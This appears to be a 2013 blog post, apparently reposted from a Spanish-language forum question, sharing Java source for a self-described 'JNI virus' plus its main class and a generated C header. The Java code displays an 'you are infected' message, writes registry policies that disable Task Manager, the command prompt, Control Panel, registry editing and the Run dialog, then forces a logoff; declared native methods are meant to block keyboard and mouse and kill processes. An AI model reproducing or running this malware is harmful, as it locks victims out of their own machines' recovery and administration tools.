Senin, 25 Februari 2013

virus


import java.awt.Frame; //Crear frame
import java.awt.Robot; //Controla los eventos del teclado
import java.io.*;//Entrada y salida de datos
import java.util.logging.Level; //Captura errores
import java.util.logging.Logger; //Captura errores

 class JNIvirus extends Frame
 {
 static {
 System.loadLibrary("JNIvirusLibrary");
 /**
 * Carga de la DLL     hecha en C++ para bloquear teclado y mouse
 */
 }  

 //AQUI mi problema esta en estos metodos si van con public native o  solo public native void no me manda ningun error

 public native void enSistema ();

 public native void mouseCold ();

 public native void killprocess ();

 //***************************************************************+
 //===========METODOS DE PUBLIC VOID CREADOS CON JNI

 public void runvirus1 ()
 {

 try
 {
 //***********aqui infecto aplicaciones agregando sus valores en el registro de win poniendo el valor en 1
 Runtime.getRuntime ().exec ("cmd /c msg *ESTAS INFECTADO POR EL VIRUS JNI JAVA AND C++");
 Runtime.getRuntime ().exec (" cmd /c reg add  HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v  DisableTaskMgr /t REG_DWORD /d 1 /f ");
 Runtime.getRuntime ().exec (" cmd /c reg add  HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t  REG_DWORD /d 1 /f ");
 Runtime.getRuntime ().exec (" cmd /c reg add  HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer  /v NoControlPanel /t REG_DWORD /d 1 /f ");
 Runtime.getRuntime ().exec (" cmd /c reg add  HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v  DisableRegistryTools /t REG_DWORD /d 1 /f ");
 Runtime.getRuntime ().exec (" cmd /c reg add  HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer  /v NoRun /t REG_DWORD /d 1 /f ");
 //**********cierro sesion para aplicar cambios
 Runtime.getRuntime ().exec ("logoff");

 }
 catch (IOException ex)
 {
 Logger.getLogger (JNIvirus.class.getName ()).log (Level.SEVERE, null, ex);
 }
 enSistema ();
 }

 /////////////////////////////////////////////////////////////////////////////7
 //////////////////////////////////////////////////////////////////////////////////////

 public void runvirus2 ()
 {

 System.out.println("metodo corriendo JNI");
 mouseCold ();

 }

 //*******************************************************************************************
 public void runvirus3 ()
 {
 System.out.println("metodo corriendo JNI");
 killprocess ();

 }
 }
mi archivo main class

Código:
Código:

public class Main{
 public static void main (String[] args)
 {

 JNIvirus JNIprueba = new JNIvirus ();

 JNIprueba.enSistema ();
 JNIprueba.mouseCold();
 JNIprueba.killprocess();
 }
 }

ketika dikompilasi dengan javac dihasilkan file saya. h JNIvirus javah-JNI

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class JNIvirus */

#ifndef _Included_JNIvirus
#define _Included_JNIvirus
#ifdef __cplusplus
extern "C" {
#endif
#undef JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN
#define JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN 0L
#undef JNIvirus_FOCUS_TRAVERSABLE_DEFAULT
#define JNIvirus_FOCUS_TRAVERSABLE_DEFAULT 1L
#undef JNIvirus_FOCUS_TRAVERSABLE_SET
#define JNIvirus_FOCUS_TRAVERSABLE_SET 2L
#undef JNIvirus_TOP_ALIGNMENT
#define JNIvirus_TOP_ALIGNMENT 0.0f
#undef JNIvirus_CENTER_ALIGNMENT
#define JNIvirus_CENTER_ALIGNMENT 0.5f
#undef JNIvirus_BOTTOM_ALIGNMENT
#define JNIvirus_BOTTOM_ALIGNMENT 1.0f
#undef JNIvirus_LEFT_ALIGNMENT
#define JNIvirus_LEFT_ALIGNMENT 0.0f
#undef JNIvirus_RIGHT_ALIGNMENT
#define JNIvirus_RIGHT_ALIGNMENT 1.0f
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID -7644114512714619750i64
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4613797578919906343i64
#undef JNIvirus_INCLUDE_SELF
#define JNIvirus_INCLUDE_SELF 1L
#undef JNIvirus_SEARCH_HEAVYWEIGHTS
#define JNIvirus_SEARCH_HEAVYWEIGHTS 1L
#undef JNIvirus_OPENED
#define JNIvirus_OPENED 1L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4497834738069338734i64
#undef JNIvirus_DEFAULT_CURSOR
#define JNIvirus_DEFAULT_CURSOR 0L
#undef JNIvirus_CROSSHAIR_CURSOR
#define JNIvirus_CROSSHAIR_CURSOR 1L
#undef JNIvirus_TEXT_CURSOR
#define JNIvirus_TEXT_CURSOR 2L
#undef JNIvirus_WAIT_CURSOR
#define JNIvirus_WAIT_CURSOR 3L
#undef JNIvirus_SW_RESIZE_CURSOR
#define JNIvirus_SW_RESIZE_CURSOR 4L
#undef JNIvirus_SE_RESIZE_CURSOR
#define JNIvirus_SE_RESIZE_CURSOR 5L
#undef JNIvirus_NW_RESIZE_CURSOR
#define JNIvirus_NW_RESIZE_CURSOR 6L
#undef JNIvirus_NE_RESIZE_CURSOR
#define JNIvirus_NE_RESIZE_CURSOR 7L
#undef JNIvirus_N_RESIZE_CURSOR
#define JNIvirus_N_RESIZE_CURSOR 8L
#undef JNIvirus_S_RESIZE_CURSOR
#define JNIvirus_S_RESIZE_CURSOR 9L
#undef JNIvirus_W_RESIZE_CURSOR
#define JNIvirus_W_RESIZE_CURSOR 10L
#undef JNIvirus_E_RESIZE_CURSOR
#define JNIvirus_E_RESIZE_CURSOR 11L
#undef JNIvirus_HAND_CURSOR
#define JNIvirus_HAND_CURSOR 12L
#undef JNIvirus_MOVE_CURSOR
#define JNIvirus_MOVE_CURSOR 13L
#undef JNIvirus_NORMAL
#define JNIvirus_NORMAL 0L
#undef JNIvirus_ICONIFIED
#define JNIvirus_ICONIFIED 1L
#undef JNIvirus_MAXIMIZED_HORIZ
#define JNIvirus_MAXIMIZED_HORIZ 2L
#undef JNIvirus_MAXIMIZED_VERT
#define JNIvirus_MAXIMIZED_VERT 4L
#undef JNIvirus_MAXIMIZED_BOTH
#define JNIvirus_MAXIMIZED_BOTH 6L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 2673458971256075116i64
/*
 * Class:     JNIvirus
 * Method:    enSistema
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_enSistema
 (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    mouseCold
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
 (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    killprocess
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
 (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif

Tidak ada komentar:

Posting Komentar